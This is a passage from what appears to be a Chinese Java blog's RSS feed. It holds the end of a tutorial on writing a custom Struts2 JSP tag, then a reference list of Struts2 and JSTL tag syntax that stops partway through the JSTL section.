Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">limitstudy.corestruts2.tag.MMTag</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag-class</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body-content</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">JSP</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body-content</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">attribute</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">message</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">required</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">true</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">required</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">attribute</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">taglib</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">在源代码目录中建立template/simple目录（这个目录名和你的theme有关），然后在里面建一个 mm.ftl文件：</span><span style="font-family: MS Shell Dlg;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">a&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">href</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://www.yinsha.com"&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">${parameters.message?html}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">a</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">建一个action测试一下，视图文件：</span><span style="font-family: MS Shell Dlg;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">&lt;%</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #f5f5f5;">@&nbsp;page&nbsp;contentType="text/html;charset=UTF-8"&nbsp;language="java"&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">%&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">&lt;%</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #f5f5f5;">@&nbsp;taglib&nbsp;prefix="s"&nbsp;uri="/struts-tags"&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">%&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">&lt;%</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #f5f5f5;">@&nbsp;taglib&nbsp;prefix="cur"&nbsp;uri="/cur"&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">%&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">html</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">head</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">title</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">s:property&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">value</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="message"</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">/&gt;&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">title</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">head</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">cur:mm&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">message</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="haoahahhahaha"</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">/&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">html</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span></p> <p><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">完。</span><span style="font-family: MS Shell Dlg;"><br /><br /></span><span style="font-family: MS Shell Dlg;">PS： 写得有些粗鄙，所以，如有问题的，可以留言。</span></p> <p>&nbsp;</p> <p>&nbsp;</p> <p>&nbsp;</p> <p><a href="http://devilkirin.javaeye.com/blog/427395" target="_blank"><span style="font-size: 10.5pt; font-family: MS Shell Dlg;">http://devilkirin.javaeye.com/blog/427395</span></a></p> <span style="font-family: MS Shell Dlg;">http://xiaojianhx.javaeye.com/blog/482888</span><span style="font-family: MS Shell Dlg;"><br /></span></div><img src ="http://www.blogjava.net/ywj-316/aggbug/351362.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2011-05-30 21:43 <a href="http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>标签备忘</title><link>http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 22 Nov 2010 02:41:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/338668.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/338668.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/338668.html</trackback:ping><description><![CDATA[<p>&nbsp;<br />
<span style="color: red">A：<br />
</span>&lt;s:a href=""&gt;&lt;/s:a&gt;-----超链接，类似于html里的&lt;a&gt;&lt;/a&gt;<br />
&lt;s:action name=""&gt;&lt;/s:action&gt;-----执行一个view里面的一个action<br />
&lt;s:actionerror/&gt;-----如果action的errors有值那么显示出来<br />
&lt;s:actionmessage/&gt;-----如果action的message有值那么显示出来<br />
&lt;s:append var="newMerList"&gt;-----添加一个值到list，类似于list.add();<br />
&nbsp;&lt;s:param value="merList1"&gt;&lt;/s:param&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&lt;s:param value="merList2"&gt;&lt;/s:param&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/s:append&gt; </p>
<p>&lt;s:autocompleter&gt;&lt;/s:autocompleter&gt;-----自动完成&lt;s:combobox&gt;标签的内容，这个是ajax</p>
<p><span style="color: red"><strong>B：<br />
</strong></span>&lt;s:bean name=""&gt;&lt;/s:bean&gt;-----类似于struts1.x中的，JavaBean的值</p>
<p><span style="color: red"><strong>C：<br />
</strong></span>&lt;s:checkbox&gt;&lt;/s:checkbox&gt;-----复选框<br />
&lt;s:checkboxlist list=""&gt;&lt;/s:checkboxlist&gt;-----多选框<br />
&lt;s:combobox list=""&gt;&lt;/s:combobox&gt;-----下拉框<br />
&lt;s:component&gt;&lt;/s:component&gt;-----图像符号</p>
<p><span style="color: red"><strong>D：<br />
</strong></span>&lt;s:date name="time" format="yyyy/MM/dd"/&gt;-----获取日期格式<br />
&lt;s:datetimepicker&gt;&lt;/s:datetimepicker&gt;-----日期输入框<br />
&lt;s:debug&gt;&lt;/s:debug&gt;-----显示错误信息<br />
&lt;s:div&gt;&lt;/s:div&gt;-----表示一个块，类似于html的&lt;div&gt;&lt;/div&gt;<br />
&lt;s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----双下拉框<br />
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/&gt;<br />
List&lt;Category&gt; categories = chinagraService.searchProblemCategories();;<br />
Map&lt;Long, List&lt;ChinagraCategory&gt;&gt; chinagraCategories = new HashMap&lt;Long, List&lt;ChinagraCategory&gt;&gt;();<br />
for(Category category : categories) {<br />
&nbsp;chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));<br />
}</p>
<p><span style="color: red"><strong>E：<br />
</strong></span>&lt;s:if test=""&gt;&lt;/s:if&gt;<br />
&lt;s:elseif test=""&gt;&lt;/s:elseif&gt;<br />
&lt;s:else&gt;&lt;/s:else&gt;-----这3个标签一起使用，表示条件判断</p>
<p><span style="color: red"><strong>F：<br />
</strong></span>&lt;s:fielderror&gt;&lt;/s:fielderror&gt;-----显示文件错误信息<br />
&lt;s:file&gt;&lt;/s:file&gt;-----文件上传<br />
&lt;s:form action=""&gt;&lt;/s:form&gt;-----获取相应form的值</p>
<p><span style="color: red"><strong>G：<br />
</strong></span>&lt;s:generator separator="'aaa,bbb,ccc,ddd'" val=","&gt;<br />
&nbsp;&lt;s:iterator&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&lt;s:property/&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &lt;/s:iterator&gt;<br />
&lt;/s:generator&gt;----和&lt;s:iterator&gt;标签一起使用</p>
<p><br />
<span style="color: red"><strong>H：<br />
</strong></span>&lt;s:head/&gt;-----在&lt;head&gt;&lt;/head&gt;里使用，表示头文件结束<br />
&lt;s:hidden name="user.name" value="junly"/&gt;&lt;/s:hidden&gt;-----隐藏值</p>
<p><span style="color: red"><strong>I：<br />
</strong></span>&lt;s:i18n name=""&gt;&lt;/s:i18n&gt;-----加载资源包到值堆栈<br />
&lt;s:include value=""&gt;&lt;/s:include&gt;-----包含一个输出，servlet或jsp页面<br />
&lt;s:inputtransferselect list=""&gt;&lt;/s:inputtransferselect&gt;-----获取form的一个输入<br />
&lt;s:iterator value="userlist" var="user" status="s"&gt;<br />
&nbsp;&lt;s:if test="#s.index == 0"&gt;<br />
&nbsp;&nbsp;&lt;s:property value="name"/&gt;<br />
&nbsp;&lt;/s:if&gt;<br />
&nbsp;&lt;s:property value="#s.even"/&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;s:property value="#s.odd"/&gt;&nbsp;&nbsp; <br />
&nbsp;&lt;s:property value="#s.first"/&gt;&nbsp; <br />
&nbsp;&lt;s:property value="#s.last"/&gt;&nbsp; <br />
&nbsp;&lt;s:property value="#s.count"/&gt;&nbsp; <br />
&lt;/s:iterator&gt;-----用于遍历集合<br />
&lt;s:if test="#list.size &gt; 0 "&gt;&lt;/s:if&gt;-----判断 ActionContext.getContext().put("list", lists);<br />
&lt;s:elseif test="list.size &gt; 0 "&gt;&lt;/s:elseif&gt;<br />
&lt;s:else&gt;&lt;/s:else&gt;<br />
&lt;s:if test="searchCondition.filter!=null"&gt;</p>
<p><span style="color: red"><strong>L：<br />
</strong></span>&lt;s:label&gt;&lt;/s:label&gt;-----只读的标签</p>
<p><span style="color: red"><strong>M：<br />
</strong></span>&lt;s:merge&gt;&lt;/s:merge&gt;-----合并遍历集合出来的值</p>
<p><span style="color: red"><strong>O：<br />
</strong></span>&lt;s:optgroup&gt;&lt;/s:optgroup&gt;-----获取标签组<br />
&lt;s:optiontransferselect doubleList="" list="" doubleName=""&gt;&lt;/s:optiontransferselect&gt;-----左右选择框</p>
<p><span style="color: red"><strong>P：<br />
</strong></span>&lt;s:param name="pageSize" value="pageSize"/&gt;&lt;/s:param&gt;-----为其他标签提供参数<br />
&lt;s:password&gt;&lt;/s:password&gt;-----密码输入框<br />
&lt;s:property value="user.name" /&gt;-----得到'value'的属性<br />
&lt;s:push value=""&gt;&lt;/s:push&gt;-----value的值push到栈中,从而使property标签的能够获取value的属性</p>
<p style="color: red"><strong>R：</strong></p>
<p>&lt;s:radio name="type" list="#{0:'拍卖会',1:'展会'}" value="0"&gt;&lt;/s:radio&gt;-----单选按钮<br />
&lt;s:reset&gt;&lt;/s:reset&gt;-----重置按钮</p>
<p><span style="color: red"><strong>S：<br />
</strong></span>&lt;s:select list=""&gt;&lt;/s:select&gt;-----单选框<br />
&lt;s:set name=""&gt;&lt;/s:set&gt;-----赋予变量一个特定范围内的值<br />
&lt;s:sort comparator=""&gt;&lt;/s:sort&gt;-----通过属性给list分类<br />
&lt;s:submit&gt;&lt;/s:submit&gt;-----提交按钮<br />
&lt;s:subset source="#subList" start="1" count="2"&gt;-----为遍历集合输出子集&nbsp; <br />
&nbsp;&lt;s:iterator&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&lt;s:property/&gt;&nbsp; <br />
&nbsp;&lt;/s:iterator&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/s:subset&gt;</p>
<p><br />
<span style="color: red"><strong>T：<br />
</strong></span>&lt;s:tabbedPanel id=""&gt;&lt;/s:tabbedPanel&gt;-----表格框<br />
&lt;s:table&gt;&lt;/s:table&gt;-----表格<br />
&lt;s:text name="error"/&gt;&lt;/s:text&gt;-----I18n文本信息<br />
&lt;s:textarea&gt;&lt;/s:textarea&gt;-----文本域输入框<br />
&lt;s:textfield&gt;&lt;/s:textfield&gt;-----文本输入框<br />
&lt;s:token&gt;&lt;/s:token&gt;-----拦截器<br />
&lt;s:tree&gt;&lt;/s:tree&gt;-----树<br />
&lt;s:treenode label=""&gt;&lt;/s:treenode&gt;-----树的结构</p>
<p><span style="color: red"><strong>U：<br />
</strong></span>&lt;s:updownselect list=""&gt;&lt;/s:updownselect&gt;-----多选择框<br />
&lt;s:url value="/academy/get-detail.action?academyInfo.id=${id}"&gt;&lt;/s:url&gt;-----创建url<br />
&lt;s:url action="search-big.action" escapeAmp="false" namespace="/problem"&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;s:param name="name" value="%{'all'}"/&gt;<br />
&lt;s:param name="id" value="0"/&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;s:param name="sex" value="user.sex"/&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;/s:url&gt;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>JSTL语法及参数&nbsp;&nbsp;&nbsp; <br />
JSTL包含以下的标签:&nbsp;&nbsp;&nbsp; <br />
常用的标签：如&lt;c:out&gt;、&lt;c:remove&gt;、&lt;c:catch&gt;、&lt;c:set&gt;等&nbsp;&nbsp;&nbsp; <br />
条件标签：如&lt;c:if&gt;&lt;c:when&gt;、&lt;c:choose&gt;、&lt;c:otherwise&gt;等&nbsp;&nbsp;&nbsp; <br />
URL标签：如&lt;c:import&gt;、&lt;c:redirect&gt;和&lt;c:url&gt;等&nbsp;&nbsp;&nbsp; <br />
XML标签：如&lt;xml:out&gt;等&nbsp;&nbsp;&nbsp; <br />
国际化输出标签：如&lt;fmt:timeZone&gt;等&nbsp;&nbsp;&nbsp; <br />
SQL标签：如&lt;sql:query&gt;、&lt;sql:update&gt;、&lt;sql:transaction&gt;等&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>一般用途的标签:&nbsp;&nbsp;&nbsp; <br />
</strong></span><span style="color: red">1．&lt;c:out&gt;&nbsp;&nbsp;&nbsp; <br />
</span>没有Body时的语法&nbsp;&nbsp;&nbsp; <br />
&lt;c:out value=&#8221;value&#8221; [escapeXml=&#8221;{true|false}&#8221;] [default=&#8221;defaultValue&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
有Body时的语法&nbsp;&nbsp;&nbsp; <br />
&lt;c:out value=&#8221;value&#8221; [escapeXml=&#8221;{true|false}&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
这里是Body部分&nbsp;&nbsp;&nbsp; <br />
&lt;/c:out&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
value Object 将要输出的表达式&nbsp;&nbsp;&nbsp; <br />
escapeXml boolean 确定以下字符:&lt;,&gt;,&amp;,&#8217;,&#8221;在字符串中是否被除数，默认为true&nbsp;&nbsp;&nbsp; <br />
default Object 如果vaule计算后的结果是null，那么输出这个默认值&nbsp;&nbsp;&nbsp; </p>
<p><span style="color: red">2．&lt;c:set&gt;&nbsp;</span>&nbsp;&nbsp; <br />
这个标签用于在某个范围(page、request、session、application等)中使用某个名字设定特定的值，或者设定某个已经存在的javabean对象的属性。他类似于&lt;%request.setAttrbute(&#8220;name&#8221;,&#8221;value&#8221;);%&gt;&nbsp;&nbsp;&nbsp; <br />
语法1：使用value属性设定一个特定范围中的属性。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set value=&#8221;value&#8221; var=&#8221;varName&#8221; [scope=&#8221;{page|request|session|application}&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：使用value属性设定一个特定范围中的属性，并带有一个Body。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set var=&#8221;varName&#8221; [scope=&#8221;{page|request|session|application}&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
Body部分&nbsp;&nbsp;&nbsp; <br />
&lt;/c:set&gt;&nbsp;&nbsp;&nbsp; <br />
语法3：设置某个特定对象的一个属性。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set value=&#8221;value&#8221; target=&#8221;target&#8221; property=&#8221;propertyName&#8221;/&gt;&nbsp;&nbsp;&nbsp; <br />
语法4：设置某个特定对象的一个属性，并带有一个Body。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set target=&#8221;target&#8221; property=&#8221;propertyName&#8221;&gt;&nbsp;&nbsp;&nbsp; <br />
Body部分&nbsp;&nbsp;&nbsp; <br />
&lt;/c:set&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
value Object 将要计算的表到式。&nbsp;&nbsp;&nbsp; <br />
var String 用于表示value 值的属性，如果要在其他标签中使用，就是通过这 个var指定的值来进行的。它相当于在标签定义了一个变量，并且这个变量只能在标签中的一个。&nbsp;&nbsp;&nbsp; <br />
scope String var的有效范围，可以是page|request|session|application中的一个&nbsp;&nbsp;&nbsp; <br />
target String 将要设置属性的对象，它必须是javabean或则java.util.Map对象&nbsp;&nbsp;&nbsp; <br />
property Object 待设定的Target对象中的属性名字，比如在javabean中有个name属性，提供了setUserId方法，那么这里填userId。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">3．&lt;c:remove&gt;&nbsp;&nbsp;&nbsp; <br />
</span>&lt;c:remove var=&#8221;varName&#8221; [scope=&#8221;{page|request|session|application}&#8221;]/&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">4．&lt;c:catch&gt;&nbsp;&nbsp;</span>&nbsp; <br />
这个标签相当于捕获在它里边的标签抛出的异常对象&nbsp;&nbsp;&nbsp; <br />
&lt;c:catch [var=&#8221;varName&#8221;]&gt; //var是异常的名字&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:catch&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>条件标签&nbsp;&nbsp;&nbsp; <br />
</strong></span><span style="color: red">1． &lt;c:if&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法1：无Body情况&nbsp;&nbsp;&nbsp; <br />
&lt;c:if test=&#8221;testCondition&#8221; var=&#8221;varName&#8221; [scope=&#8221;page|request|session|application&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：有Body的情况&nbsp;&nbsp;&nbsp; <br />
&lt;c:if test=&#8221;testCondition&#8221; var=&#8221;varName&#8221; [scope=&#8221;page|request|session|application&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
Body内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:if&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
test Boolean 表达式的条件，相当于if()中的条件判断语句。&nbsp;&nbsp;&nbsp; <br />
var String 表示这个语句的名字。&nbsp;&nbsp;&nbsp; <br />
scope String var这个变量的作用范围。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">2．&lt;c:choose&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法：&lt;c:choose&gt;&nbsp;&nbsp;&nbsp; <br />
Body内容(&lt;c:when&gt;和&lt;c:otherwise&gt;子标签)&nbsp;&nbsp;&nbsp; <br />
&lt;/c:choose&gt;&nbsp;&nbsp;&nbsp; <br />
注意：它的Body只能由以下元素组成:&nbsp;&nbsp;&nbsp; <br />
1) 空格&nbsp;&nbsp;&nbsp; <br />
2) 0或多个&lt;c:when&gt;子标签，&lt;c:when&gt;必须在&lt;c:otherwise&gt;标签之前出现.&nbsp;&nbsp;&nbsp; <br />
3) 0个或多个&lt;c:otherwise&gt;子标签。&nbsp;&nbsp;&nbsp; <br />
&lt;c:choose&gt;<br />
&nbsp;&nbsp; &lt;c:when test="${param.age&gt;70}"&gt;<br />
&nbsp;&nbsp; 欢迎老年人<br />
&nbsp;&nbsp; &lt;/c:when&gt;<br />
&nbsp;&nbsp; &lt;c:when test="${param.age&lt;70 and param.age&gt;35}"&gt;<br />
&nbsp;&nbsp; 欢迎中年人<br />
&nbsp;&nbsp; &lt;/c:when&gt;<br />
&nbsp;&nbsp; &lt;c:otherwise&gt;<br />
&nbsp;&nbsp; 您的年龄有误!<br />
&nbsp;&nbsp; &lt;/c:otherwise&gt;<br />
&lt;/c:choose&gt;<br />
&nbsp; <br />
<span style="color: red">3．&lt;c:when&gt;&nbsp;&nbsp;&nbsp; <br />
</span>代表的是&lt;c:choose&gt;的一个条件分支,只能在&lt;c:choose&gt;中使用&nbsp;&nbsp;&nbsp; <br />
语法：&lt;c:when test=&#8221;testCondition&#8221;&gt; //test是boolean类型,用于判断条件真假&nbsp;&nbsp;&nbsp; <br />
Body语句&nbsp;&nbsp;&nbsp; <br />
&lt;/c:when&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">4．&lt;c:otherwise&gt;&nbsp;&nbsp;</span>&nbsp; <br />
代表的是&lt;c:choose&gt;中的最后选择。必须在最后出现&nbsp;&nbsp;&nbsp; <br />
&lt;c:otherwise&gt;&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
